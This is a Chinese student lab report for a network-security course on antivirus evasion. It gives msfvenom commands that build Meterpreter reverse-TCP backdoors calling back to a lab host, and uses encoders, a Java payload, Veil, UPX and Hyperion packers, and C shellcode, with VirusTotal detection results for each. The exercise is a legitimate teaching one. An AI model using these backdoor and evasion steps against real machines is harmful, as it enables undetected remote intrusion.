2019-2020-2 20175234 赵诗玥 《网络对抗技术》 Exp3 免杀原理与实践

实验内容

  • 正确掌握方法

    • 正确使用msf编码器(0.5分),
    • msfvenom生成如jar之类的其他文件(0.5分),
    • veil(0.5分),
    • 加壳工具(0.5分),
    • 使用C + shellcode编程(0.5分),
    • 使用其他课堂未介绍方法(0.5分)
  • 通过组合应用各种技术实现恶意代码免杀(0.5分)

  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)

基础问题回答

  • 杀软是如何检测出恶意代码的?

    • 特征检测:恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
    • 启发式检测:杀毒软件会监根据些片面特征去推断。通常是因为缺乏精确判定依据。如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。
    • 行为检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。
  • 免杀是做什么?
    答:通过一些技术手段,让杀毒软件无法检测扫描到恶意代码。

  • 免杀的基本方法有哪些?
    答:(1)改变特征码:加壳(2)改变行为:改变通讯方式,改变行为模式。

实践总结与体会

  • 在本次实验中,我初步学习了免杀的知识,了解了一些可以做免杀的手段,虽然现在这些手段被检测的几率还是蛮大滴,但是为今后如果想要做免杀还是做好了铺垫。
  • 我的电脑安全软件是联想电脑管家(火绒),在本次实验中拖动恶意代码到电脑中都不会有提示,但是一旦尝试执行基本就会风险提示(except加密壳),并且风险详情描述的很准确,基本还是比较满意,以后会更加积极的更新升级。

开启杀软能绝对防止电脑中恶意代码吗?

???怎么会呢,简单的看,最起码我们拖动恶意代码到电脑中时,杀软没有实现报错,而是在执行时报错。我们在VirusTotal上的结果不也说明,简单的免杀也有被杀软遗漏的嘛~再者恶意代码的“升级”“换代”同样会给杀软造成新的困难。

实践过程记录

一、掌握方法

1.1 使用msf编码器生成后门程序及检测

  • msfvenom直接生成

    • 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.26.128 LPORT=5234 -f exe > 20175234_backdoor.exe
    • 拖到VIRUSTOTAL中检测

      可以清楚地看到,72个查杀软件中有58个可以检测到这段恶意代码。
  • msfvenom一次编码

    • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 LHOST=192.168.26.128 LPORT=5234 -f exe > 20175234test.exe

    • VIRUSTOTAL检测

  • msfvenom多次编码

    • msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.26.128 LPORT=5234 -f exe > 20175234test.exe

    • VIRUSTOTAL检测

1.2 msfvenom生成如jar之类的其他文件

  • 输入指令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.26.128 LPORT=5234 > 20175234.jar
  • 拖到VIRUSTOTAL中检测

    这个jar包60个程序中有34个程序检测到了恶意代码。

1.3 使用veil-evasion生成后门程序及检测

  • 下载veil-evasion

  • veil安装

    • 反复报错:Failed to connect to github.com port 443: 拒绝连接

      导致后面的安装无法进行,那么git clone不了咱们就手动复制到
    • 将setup-dependencies下载下来放到/var/lib/veil/

      (新疆用不了网盘,就不提供资源了,需要可以私发)(也可以已成功的同学那里copy一个setup-dependencies)
    • 然后去/usr/share/veil/config/setup.sh里将git clone的语句注释掉(头头加##),就可以正常安装使用啦
  • 使用veil-evasion

    • 输入veil进入工具
    • use Evasion生成免查杀的程序
    • 可以使用list列出可生成的Payloads
    • 我选了个C语言的c/meterpreter/rev_tcp.py,选完以后可以info c/meterpreter/rev_tcp.py一下查看需要设置的参数
    • 简单的设置一下,generate生成
  • 拖动程序到virustotal检测一下

    45/71,这样就很难过

1.4 加壳工具

  • 压缩壳:upx

    • upx 20175234test.exe -o 20175234upxed.exe
    • 扫一下,试一下
  • 加密壳:Hyperion

    • 将要加密的恶意代码拉到/usr/share/windows-binaries/hyperion/
    • 进入/usr/share/windows-binaries/hyperion/
    • 执行wine hyperion.exe -v 20175234test.exe 5234hyperion.exe
    • 测试,我在windows中运行了,竟然没有风险提示???不行我要拖到网站检查一下

      这个检出率是相当高啊,联想电脑管家看起来就显得太不靠谱了(那是不是我随便弄点恶意代码,加个加密壳,像我这种只有联想电脑管家的就趴了呢,等下可以试试)

1.5 使用C + shellcode编程

  • 使用msf生成一段shellcode

  • 创建一个.c文件,并且将刚才生成的unsigned char buf放进去

  • i686-w64-mingw32-g++ 20175234cshellcode.c -o c_shellcode.exe编译为可执行文件

  • 测试

    跟老师描述的一样,大部分杀毒软件可以鉴别

二、通过组合应用各种技术实现恶意代码免杀

三、用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

参考资料

END

猜你喜欢

转载自www.cnblogs.com/ysz-123/p/12545898.html